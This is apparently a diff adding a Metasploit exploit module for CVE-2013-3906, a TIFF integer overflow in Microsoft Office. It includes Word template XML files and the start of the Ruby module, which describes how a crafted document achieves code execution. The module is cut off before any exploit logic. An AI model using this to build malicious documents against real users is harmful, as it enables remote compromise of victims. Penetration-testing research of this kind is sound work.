<w:lsdException w:name="Medium Shading 2 Accent 1" w:semiHidden="0" w:uiPriority="64" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium List 1 Accent 1" w:semiHidden="0" w:uiPriority="65" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Revision" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="List Paragraph" w:semiHidden="0" w:uiPriority="34" w:unhideWhenUsed="0" w:qFormat="1"/>
|
||||
<w:lsdException w:name="Quote" w:semiHidden="0" w:uiPriority="29" w:unhideWhenUsed="0" w:qFormat="1"/>
|
||||
<w:lsdException w:name="Intense Quote" w:semiHidden="0" w:uiPriority="30" w:unhideWhenUsed="0" w:qFormat="1"/>
|
||||
<w:lsdException w:name="Medium List 2 Accent 1" w:semiHidden="0" w:uiPriority="66" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium Grid 1 Accent 1" w:semiHidden="0" w:uiPriority="67" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium Grid 2 Accent 1" w:semiHidden="0" w:uiPriority="68" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium Grid 3 Accent 1" w:semiHidden="0" w:uiPriority="69" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Dark List Accent 1" w:semiHidden="0" w:uiPriority="70" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Colorful Shading Accent 1" w:semiHidden="0" w:uiPriority="71" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Colorful List Accent 1" w:semiHidden="0" w:uiPriority="72" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Colorful Grid Accent 1" w:semiHidden="0" w:uiPriority="73" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Light Shading Accent 2" w:semiHidden="0" w:uiPriority="60" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Light List Accent 2" w:semiHidden="0" w:uiPriority="61" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Light Grid Accent 2" w:semiHidden="0" w:uiPriority="62" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium Shading 1 Accent 2" w:semiHidden="0" w:uiPriority="63" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium Shading 2 Accent 2" w:semiHidden="0" w:uiPriority="64" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium List 1 Accent 2" w:semiHidden="0" w:uiPriority="65" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium List 2 Accent 2" w:semiHidden="0" w:uiPriority="66" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium Grid 1 Accent 2" w:semiHidden="0" w:uiPriority="67" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium Grid 2 Accent 2" w:semiHidden="0" w:uiPriority="68" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium Grid 3 Accent 2" w:semiHidden="0" w:uiPriority="69" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Dark List Accent 2" w:semiHidden="0" w:uiPriority="70" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Colorful Shading Accent 2" w:semiHidden="0" w:uiPriority="71" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Colorful List Accent 2" w:semiHidden="0" w:uiPriority="72" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Colorful Grid Accent 2" w:semiHidden="0" w:uiPriority="73" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Light Shading Accent 3" w:semiHidden="0" w:uiPriority="60" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Light List Accent 3" w:semiHidden="0" w:uiPriority="61" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Light Grid Accent 3" w:semiHidden="0" w:uiPriority="62" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium Shading 1 Accent 3" w:semiHidden="0" w:uiPriority="63" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium Shading 2 Accent 3" w:semiHidden="0" w:uiPriority="64" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium List 1 Accent 3" w:semiHidden="0" w:uiPriority="65" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium List 2 Accent 3" w:semiHidden="0" w:uiPriority="66" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium Grid 1 Accent 3" w:semiHidden="0" w:uiPriority="67" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium Grid 2 Accent 3" w:semiHidden="0" w:uiPriority="68" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium Grid 3 Accent 3" w:semiHidden="0" w:uiPriority="69" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Dark List Accent 3" w:semiHidden="0" w:uiPriority="70" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Colorful Shading Accent 3" w:semiHidden="0" w:uiPriority="71" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Colorful List Accent 3" w:semiHidden="0" w:uiPriority="72" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Colorful Grid Accent 3" w:semiHidden="0" w:uiPriority="73" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Light Shading Accent 4" w:semiHidden="0" w:uiPriority="60" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Light List Accent 4" w:semiHidden="0" w:uiPriority="61" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Light Grid Accent 4" w:semiHidden="0" w:uiPriority="62" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium Shading 1 Accent 4" w:semiHidden="0" w:uiPriority="63" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium Shading 2 Accent 4" w:semiHidden="0" w:uiPriority="64" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium List 1 Accent 4" w:semiHidden="0" w:uiPriority="65" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium List 2 Accent 4" w:semiHidden="0" w:uiPriority="66" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium Grid 1 Accent 4" w:semiHidden="0" w:uiPriority="67" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium Grid 2 Accent 4" w:semiHidden="0" w:uiPriority="68" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium Grid 3 Accent 4" w:semiHidden="0" w:uiPriority="69" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Dark List Accent 4" w:semiHidden="0" w:uiPriority="70" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Colorful Shading Accent 4" w:semiHidden="0" w:uiPriority="71" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Colorful List Accent 4" w:semiHidden="0" w:uiPriority="72" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Colorful Grid Accent 4" w:semiHidden="0" w:uiPriority="73" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Light Shading Accent 5" w:semiHidden="0" w:uiPriority="60" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Light List Accent 5" w:semiHidden="0" w:uiPriority="61" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Light Grid Accent 5" w:semiHidden="0" w:uiPriority="62" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium Shading 1 Accent 5" w:semiHidden="0" w:uiPriority="63" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium Shading 2 Accent 5" w:semiHidden="0" w:uiPriority="64" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium List 1 Accent 5" w:semiHidden="0" w:uiPriority="65" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium List 2 Accent 5" w:semiHidden="0" w:uiPriority="66" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium Grid 1 Accent 5" w:semiHidden="0" w:uiPriority="67" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium Grid 2 Accent 5" w:semiHidden="0" w:uiPriority="68" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium Grid 3 Accent 5" w:semiHidden="0" w:uiPriority="69" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Dark List Accent 5" w:semiHidden="0" w:uiPriority="70" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Colorful Shading Accent 5" w:semiHidden="0" w:uiPriority="71" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Colorful List Accent 5" w:semiHidden="0" w:uiPriority="72" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Colorful Grid Accent 5" w:semiHidden="0" w:uiPriority="73" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Light Shading Accent 6" w:semiHidden="0" w:uiPriority="60" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Light List Accent 6" w:semiHidden="0" w:uiPriority="61" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Light Grid Accent 6" w:semiHidden="0" w:uiPriority="62" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium Shading 1 Accent 6" w:semiHidden="0" w:uiPriority="63" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium Shading 2 Accent 6" w:semiHidden="0" w:uiPriority="64" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium List 1 Accent 6" w:semiHidden="0" w:uiPriority="65" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium List 2 Accent 6" w:semiHidden="0" w:uiPriority="66" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium Grid 1 Accent 6" w:semiHidden="0" w:uiPriority="67" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium Grid 2 Accent 6" w:semiHidden="0" w:uiPriority="68" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium Grid 3 Accent 6" w:semiHidden="0" w:uiPriority="69" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Dark List Accent 6" w:semiHidden="0" w:uiPriority="70" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Colorful Shading Accent 6" w:semiHidden="0" w:uiPriority="71" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Colorful List Accent 6" w:semiHidden="0" w:uiPriority="72" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Colorful Grid Accent 6" w:semiHidden="0" w:uiPriority="73" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Subtle Emphasis" w:semiHidden="0" w:uiPriority="19" w:unhideWhenUsed="0" w:qFormat="1"/>
|
||||
<w:lsdException w:name="Intense Emphasis" w:semiHidden="0" w:uiPriority="21" w:unhideWhenUsed="0" w:qFormat="1"/>
|
||||
<w:lsdException w:name="Subtle Reference" w:semiHidden="0" w:uiPriority="31" w:unhideWhenUsed="0" w:qFormat="1"/>
|
||||
<w:lsdException w:name="Intense Reference" w:semiHidden="0" w:uiPriority="32" w:unhideWhenUsed="0" w:qFormat="1"/>
|
||||
<w:lsdException w:name="Book Title" w:semiHidden="0" w:uiPriority="33" w:unhideWhenUsed="0" w:qFormat="1"/>
|
||||
<w:lsdException w:name="Bibliography" w:uiPriority="37"/>
|
||||
<w:lsdException w:name="TOC Heading" w:uiPriority="39" w:qFormat="1"/>
|
||||
</w:latentStyles>
|
||||
<w:style w:type="paragraph" w:default="1" w:styleId="Normal">
|
||||
<w:name w:val="Normal"/>
|
||||
<w:qFormat/>
|
||||
<w:rsid w:val="00063BF6"/>
|
||||
</w:style>
|
||||
<w:style w:type="character" w:default="1" w:styleId="DefaultParagraphFont">
|
||||
<w:name w:val="Default Paragraph Font"/>
|
||||
<w:uiPriority w:val="1"/>
|
||||
<w:semiHidden/>
|
||||
<w:unhideWhenUsed/>
|
||||
</w:style>
|
||||
<w:style w:type="table" w:default="1" w:styleId="TableNormal">
|
||||
<w:name w:val="Normal Table"/>
|
||||
<w:uiPriority w:val="99"/>
|
||||
<w:semiHidden/>
|
||||
<w:unhideWhenUsed/>
|
||||
<w:qFormat/>
|
||||
<w:tblPr>
|
||||
<w:tblInd w:w="0" w:type="dxa"/>
|
||||
<w:tblCellMar>
|
||||
<w:top w:w="0" w:type="dxa"/>
|
||||
<w:left w:w="108" w:type="dxa"/>
|
||||
<w:bottom w:w="0" w:type="dxa"/>
|
||||
<w:right w:w="108" w:type="dxa"/>
|
||||
</w:tblCellMar>
|
||||
</w:tblPr>
|
||||
</w:style>
|
||||
<w:style w:type="numbering" w:default="1" w:styleId="NoList">
|
||||
<w:name w:val="No List"/>
|
||||
<w:uiPriority w:val="99"/>
|
||||
<w:semiHidden/>
|
||||
<w:unhideWhenUsed/>
|
||||
</w:style>
|
||||
<w:style w:type="paragraph" w:styleId="BalloonText">
|
||||
<w:name w:val="Balloon Text"/>
|
||||
<w:basedOn w:val="Normal"/>
|
||||
<w:link w:val="BalloonTextChar"/>
|
||||
<w:uiPriority w:val="99"/>
|
||||
<w:semiHidden/>
|
||||
<w:unhideWhenUsed/>
|
||||
<w:rsid w:val="00CD271A"/>
|
||||
<w:pPr>
|
||||
<w:spacing w:after="0" w:line="240" w:lineRule="auto"/>
|
||||
</w:pPr>
|
||||
<w:rPr>
|
||||
<w:rFonts w:ascii="Tahoma" w:hAnsi="Tahoma" w:cs="Tahoma"/>
|
||||
<w:sz w:val="16"/>
|
||||
<w:szCs w:val="16"/>
|
||||
</w:rPr>
|
||||
</w:style>
|
||||
<w:style w:type="character" w:customStyle="1" w:styleId="BalloonTextChar">
|
||||
<w:name w:val="Balloon Text Char"/>
|
||||
<w:basedOn w:val="DefaultParagraphFont"/>
|
||||
<w:link w:val="BalloonText"/>
|
||||
<w:uiPriority w:val="99"/>
|
||||
<w:semiHidden/>
|
||||
<w:rsid w:val="00CD271A"/>
|
||||
<w:rPr>
|
||||
<w:rFonts w:ascii="Tahoma" w:hAnsi="Tahoma" w:cs="Tahoma"/>
|
||||
<w:sz w:val="16"/>
|
||||
<w:szCs w:val="16"/>
|
||||
</w:rPr>
|
||||
</w:style>
|
||||
</w:styles>
|
283
data/exploits/CVE-2013-3906/word/theme/theme1.xml
Executable file
283
data/exploits/CVE-2013-3906/word/theme/theme1.xml
Executable file
@ -0,0 +1,283 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<a:theme xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" name="Office Theme">
|
||||
<a:themeElements>
|
||||
<a:clrScheme name="Office">
|
||||
<a:dk1>
|
||||
<a:sysClr val="windowText" lastClr="000000"/>
|
||||
</a:dk1>
|
||||
<a:lt1>
|
||||
<a:sysClr val="window" lastClr="FFFFFF"/>
|
||||
</a:lt1>
|
||||
<a:dk2>
|
||||
<a:srgbClr val="1F497D"/>
|
||||
</a:dk2>
|
||||
<a:lt2>
|
||||
<a:srgbClr val="EEECE1"/>
|
||||
</a:lt2>
|
||||
<a:accent1>
|
||||
<a:srgbClr val="4F81BD"/>
|
||||
</a:accent1>
|
||||
<a:accent2>
|
||||
<a:srgbClr val="C0504D"/>
|
||||
</a:accent2>
|
||||
<a:accent3>
|
||||
<a:srgbClr val="9BBB59"/>
|
||||
</a:accent3>
|
||||
<a:accent4>
|
||||
<a:srgbClr val="8064A2"/>
|
||||
</a:accent4>
|
||||
<a:accent5>
|
||||
<a:srgbClr val="4BACC6"/>
|
||||
</a:accent5>
|
||||
<a:accent6>
|
||||
<a:srgbClr val="F79646"/>
|
||||
</a:accent6>
|
||||
<a:hlink>
|
||||
<a:srgbClr val="0000FF"/>
|
||||
</a:hlink>
|
||||
<a:folHlink>
|
||||
<a:srgbClr val="800080"/>
|
||||
</a:folHlink>
|
||||
</a:clrScheme>
|
||||
<a:fontScheme name="Office">
|
||||
<a:majorFont>
|
||||
<a:latin typeface="Cambria"/>
|
||||
<a:ea typeface=""/>
|
||||
<a:cs typeface=""/>
|
||||
<a:font script="Jpan" typeface="MS ゴシック"/>
|
||||
<a:font script="Hang" typeface="맑은 고딕"/>
|
||||
<a:font script="Hans" typeface="宋体"/>
|
||||
<a:font script="Hant" typeface="新細明體"/>
|
||||
<a:font script="Arab" typeface="Times New Roman"/>
|
||||
<a:font script="Hebr" typeface="Times New Roman"/>
|
||||
<a:font script="Thai" typeface="Angsana New"/>
|
||||
<a:font script="Ethi" typeface="Nyala"/>
|
||||
<a:font script="Beng" typeface="Vrinda"/>
|
||||
<a:font script="Gujr" typeface="Shruti"/>
|
||||
<a:font script="Khmr" typeface="MoolBoran"/>
|
||||
<a:font script="Knda" typeface="Tunga"/>
|
||||
<a:font script="Guru" typeface="Raavi"/>
|
||||
<a:font script="Cans" typeface="Euphemia"/>
|
||||
<a:font script="Cher" typeface="Plantagenet Cherokee"/>
|
||||
<a:font script="Yiii" typeface="Microsoft Yi Baiti"/>
|
||||
<a:font script="Tibt" typeface="Microsoft Himalaya"/>
|
||||
<a:font script="Thaa" typeface="MV Boli"/>
|
||||
<a:font script="Deva" typeface="Mangal"/>
|
||||
<a:font script="Telu" typeface="Gautami"/>
|
||||
<a:font script="Taml" typeface="Latha"/>
|
||||
<a:font script="Syrc" typeface="Estrangelo Edessa"/>
|
||||
<a:font script="Orya" typeface="Kalinga"/>
|
||||
<a:font script="Mlym" typeface="Kartika"/>
|
||||
<a:font script="Laoo" typeface="DokChampa"/>
|
||||
<a:font script="Sinh" typeface="Iskoola Pota"/>
|
||||
<a:font script="Mong" typeface="Mongolian Baiti"/>
|
||||
<a:font script="Viet" typeface="Times New Roman"/>
|
||||
<a:font script="Uigh" typeface="Microsoft Uighur"/>
|
||||
<a:font script="Geor" typeface="Sylfaen"/>
|
||||
</a:majorFont>
|
||||
<a:minorFont>
|
||||
<a:latin typeface="Calibri"/>
|
||||
<a:ea typeface=""/>
|
||||
<a:cs typeface=""/>
|
||||
<a:font script="Jpan" typeface="MS 明朝"/>
|
||||
<a:font script="Hang" typeface="맑은 고딕"/>
|
||||
<a:font script="Hans" typeface="宋体"/>
|
||||
<a:font script="Hant" typeface="新細明體"/>
|
||||
<a:font script="Arab" typeface="Arial"/>
|
||||
<a:font script="Hebr" typeface="Arial"/>
|
||||
<a:font script="Thai" typeface="Cordia New"/>
|
||||
<a:font script="Ethi" typeface="Nyala"/>
|
||||
<a:font script="Beng" typeface="Vrinda"/>
|
||||
<a:font script="Gujr" typeface="Shruti"/>
|
||||
<a:font script="Khmr" typeface="DaunPenh"/>
|
||||
<a:font script="Knda" typeface="Tunga"/>
|
||||
<a:font script="Guru" typeface="Raavi"/>
|
||||
<a:font script="Cans" typeface="Euphemia"/>
|
||||
<a:font script="Cher" typeface="Plantagenet Cherokee"/>
|
||||
<a:font script="Yiii" typeface="Microsoft Yi Baiti"/>
|
||||
<a:font script="Tibt" typeface="Microsoft Himalaya"/>
|
||||
<a:font script="Thaa" typeface="MV Boli"/>
|
||||
<a:font script="Deva" typeface="Mangal"/>
|
||||
<a:font script="Telu" typeface="Gautami"/>
|
||||
<a:font script="Taml" typeface="Latha"/>
|
||||
<a:font script="Syrc" typeface="Estrangelo Edessa"/>
|
||||
<a:font script="Orya" typeface="Kalinga"/>
|
||||
<a:font script="Mlym" typeface="Kartika"/>
|
||||
<a:font script="Laoo" typeface="DokChampa"/>
|
||||
<a:font script="Sinh" typeface="Iskoola Pota"/>
|
||||
<a:font script="Mong" typeface="Mongolian Baiti"/>
|
||||
<a:font script="Viet" typeface="Arial"/>
|
||||
<a:font script="Uigh" typeface="Microsoft Uighur"/>
|
||||
<a:font script="Geor" typeface="Sylfaen"/>
|
||||
</a:minorFont>
|
||||
</a:fontScheme>
|
||||
<a:fmtScheme name="Office">
|
||||
<a:fillStyleLst>
|
||||
<a:solidFill>
|
||||
<a:schemeClr val="phClr"/>
|
||||
</a:solidFill>
|
||||
<a:gradFill rotWithShape="1">
|
||||
<a:gsLst>
|
||||
<a:gs pos="0">
|
||||
<a:schemeClr val="phClr">
|
||||
<a:tint val="50000"/>
|
||||
<a:satMod val="300000"/>
|
||||
</a:schemeClr>
|
||||
</a:gs>
|
||||
<a:gs pos="35000">
|
||||
<a:schemeClr val="phClr">
|
||||
<a:tint val="37000"/>
|
||||
<a:satMod val="300000"/>
|
||||
</a:schemeClr>
|
||||
</a:gs>
|
||||
<a:gs pos="100000">
|
||||
<a:schemeClr val="phClr">
|
||||
<a:tint val="15000"/>
|
||||
<a:satMod val="350000"/>
|
||||
</a:schemeClr>
|
||||
</a:gs>
|
||||
</a:gsLst>
|
||||
<a:lin ang="16200000" scaled="1"/>
|
||||
</a:gradFill>
|
||||
<a:gradFill rotWithShape="1">
|
||||
<a:gsLst>
|
||||
<a:gs pos="0">
|
||||
<a:schemeClr val="phClr">
|
||||
<a:shade val="51000"/>
|
||||
<a:satMod val="130000"/>
|
||||
</a:schemeClr>
|
||||
</a:gs>
|
||||
<a:gs pos="80000">
|
||||
<a:schemeClr val="phClr">
|
||||
<a:shade val="93000"/>
|
||||
<a:satMod val="130000"/>
|
||||
</a:schemeClr>
|
||||
</a:gs>
|
||||
<a:gs pos="100000">
|
||||
<a:schemeClr val="phClr">
|
||||
<a:shade val="94000"/>
|
||||
<a:satMod val="135000"/>
|
||||
</a:schemeClr>
|
||||
</a:gs>
|
||||
</a:gsLst>
|
||||
<a:lin ang="16200000" scaled="0"/>
|
||||
</a:gradFill>
|
||||
</a:fillStyleLst>
|
||||
<a:lnStyleLst>
|
||||
<a:ln w="9525" cap="flat" cmpd="sng" algn="ctr">
|
||||
<a:solidFill>
|
||||
<a:schemeClr val="phClr">
|
||||
<a:shade val="95000"/>
|
||||
<a:satMod val="105000"/>
|
||||
</a:schemeClr>
|
||||
</a:solidFill>
|
||||
<a:prstDash val="solid"/>
|
||||
</a:ln>
|
||||
<a:ln w="25400" cap="flat" cmpd="sng" algn="ctr">
|
||||
<a:solidFill>
|
||||
<a:schemeClr val="phClr"/>
|
||||
</a:solidFill>
|
||||
<a:prstDash val="solid"/>
|
||||
</a:ln>
|
||||
<a:ln w="38100" cap="flat" cmpd="sng" algn="ctr">
|
||||
<a:solidFill>
|
||||
<a:schemeClr val="phClr"/>
|
||||
</a:solidFill>
|
||||
<a:prstDash val="solid"/>
|
||||
</a:ln>
|
||||
</a:lnStyleLst>
|
||||
<a:effectStyleLst>
|
||||
<a:effectStyle>
|
||||
<a:effectLst>
|
||||
<a:outerShdw blurRad="40000" dist="20000" dir="5400000" rotWithShape="0">
|
||||
<a:srgbClr val="000000">
|
||||
<a:alpha val="38000"/>
|
||||
</a:srgbClr>
|
||||
</a:outerShdw>
|
||||
</a:effectLst>
|
||||
</a:effectStyle>
|
||||
<a:effectStyle>
|
||||
<a:effectLst>
|
||||
<a:outerShdw blurRad="40000" dist="23000" dir="5400000" rotWithShape="0">
|
||||
<a:srgbClr val="000000">
|
||||
<a:alpha val="35000"/>
|
||||
</a:srgbClr>
|
||||
</a:outerShdw>
|
||||
</a:effectLst>
|
||||
</a:effectStyle>
|
||||
<a:effectStyle>
|
||||
<a:effectLst>
|
||||
<a:outerShdw blurRad="40000" dist="23000" dir="5400000" rotWithShape="0">
|
||||
<a:srgbClr val="000000">
|
||||
<a:alpha val="35000"/>
|
||||
</a:srgbClr>
|
||||
</a:outerShdw>
|
||||
</a:effectLst>
|
||||
<a:scene3d>
|
||||
<a:camera prst="orthographicFront">
|
||||
<a:rot lat="0" lon="0" rev="0"/>
|
||||
</a:camera>
|
||||
<a:lightRig rig="threePt" dir="t">
|
||||
<a:rot lat="0" lon="0" rev="1200000"/>
|
||||
</a:lightRig>
|
||||
</a:scene3d>
|
||||
<a:sp3d>
|
||||
<a:bevelT w="63500" h="25400"/>
|
||||
</a:sp3d>
|
||||
</a:effectStyle>
|
||||
</a:effectStyleLst>
|
||||
<a:bgFillStyleLst>
|
||||
<a:solidFill>
|
||||
<a:schemeClr val="phClr"/>
|
||||
</a:solidFill>
|
||||
<a:gradFill rotWithShape="1">
|
||||
<a:gsLst>
|
||||
<a:gs pos="0">
|
||||
<a:schemeClr val="phClr">
|
||||
<a:tint val="40000"/>
|
||||
<a:satMod val="350000"/>
|
||||
</a:schemeClr>
|
||||
</a:gs>
|
||||
<a:gs pos="40000">
|
||||
<a:schemeClr val="phClr">
|
||||
<a:tint val="45000"/>
|
||||
<a:shade val="99000"/>
|
||||
<a:satMod val="350000"/>
|
||||
</a:schemeClr>
|
||||
</a:gs>
|
||||
<a:gs pos="100000">
|
||||
<a:schemeClr val="phClr">
|
||||
<a:shade val="20000"/>
|
||||
<a:satMod val="255000"/>
|
||||
</a:schemeClr>
|
||||
</a:gs>
|
||||
</a:gsLst>
|
||||
<a:path path="circle">
|
||||
<a:fillToRect l="50000" t="-80000" r="50000" b="180000"/>
|
||||
</a:path>
|
||||
</a:gradFill>
|
||||
<a:gradFill rotWithShape="1">
|
||||
<a:gsLst>
|
||||
<a:gs pos="0">
|
||||
<a:schemeClr val="phClr">
|
||||
<a:tint val="80000"/>
|
||||
<a:satMod val="300000"/>
|
||||
</a:schemeClr>
|
||||
</a:gs>
|
||||
<a:gs pos="100000">
|
||||
<a:schemeClr val="phClr">
|
||||
<a:shade val="30000"/>
|
||||
<a:satMod val="200000"/>
|
||||
</a:schemeClr>
|
||||
</a:gs>
|
||||
</a:gsLst>
|
||||
<a:path path="circle">
|
||||
<a:fillToRect l="50000" t="50000" r="50000" b="50000"/>
|
||||
</a:path>
|
||||
</a:gradFill>
|
||||
</a:bgFillStyleLst>
|
||||
</a:fmtScheme>
|
||||
</a:themeElements>
|
||||
<a:objectDefaults/>
|
||||
<a:extraClrSchemeLst/>
|
||||
</a:theme>
|
4
data/exploits/CVE-2013-3906/word/webSettings.xml
Executable file
4
data/exploits/CVE-2013-3906/word/webSettings.xml
Executable file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<w:webSettings xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
|
||||
<w:optimizeForBrowser/>
|
||||
</w:webSettings>
|
600
modules/exploits/windows/fileformat/mswin_tiff_overflow.rb
Normal file
600
modules/exploits/windows/fileformat/mswin_tiff_overflow.rb
Normal file
@ -0,0 +1,600 @@
|
||||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/zip'
|
||||
require 'Nokogiri'
|
||||
|
||||
module ::Nokogiri
|
||||
module XML
|
||||
class Builder
|
||||
#
|
||||
# Some XML documents don't declare the namespace before referencing, but Nokogiri requires one.
|
||||
# So here's our hack to get around that.
|
||||
#
|
||||
def custom_root(ns)
|
||||
e = @parent.create_element(ns)
|
||||
e.add_namespace_definition(ns, "href")
|
||||
@ns = e.namespace_definitions.find { |x| x.prefix == ns.to_s }
|
||||
return self
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Microsoft Tagged Image File Format (TIFF) Integer Overflow",
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability found in Microsoft's Tagged Image File Format.
|
||||
It was originally discovered in the wild, targeting Windows XP and Windows Server 2003
|
||||
users running Microsoft Office, specifically in the Middle East and South Asia region.
|
||||
|
||||
The flaw is due to a DWORD value extracted from the TIFF file that is embedded as a
|
||||
drawing in Microsoft Office, and how it gets calculated with user-controlled inputs,
|
||||
and stored in the EAX register. The 32-bit register will run out of storage space to
|
||||
represent the large vlaue, which ends up being 0, but it still gets pushed as a
|
||||
dwBytes argumenet (size) for a HeapAlloc call. The HeapAlloc function will allocate a
|
||||
chunk anyway with size 0, and the address of this chunk is used as the destination buffer
|
||||
of a memcpy function, where the source buffer is the EXIF data (an extended image format
|
||||
supported by TIFF), and is also user-controlled. A function pointer in the chunk returned
|
||||
by HeapAlloc will end up being overwritten by the memcpy function, and then later used
|
||||
in OGL!GdipCreatePath. By successfully controlling this function pointer, and the
|
||||
memory layout using ActiveX, it is possible to gain arbitrary code execution under the
|
||||
context of the user.
|
||||
|
||||
Please note the victim machine may experience some lag while opening the file before
|
||||
the malicious payload is executed.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Unknown', # Some dude wrote it and deployed in the wild
|
||||
'sinn3r' # Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-3906' ],
|
||||
[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2896666' ],
|
||||
[ 'URL', 'http://blogs.technet.com/b/srd/archive/2013/11/05/cve-2013-3906-a-graphics-vulnerability-exploited-through-word-documents.aspx' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00"
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "process"
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
['Windows XP SP3 with Office 2010', {}],
|
||||
],
|
||||
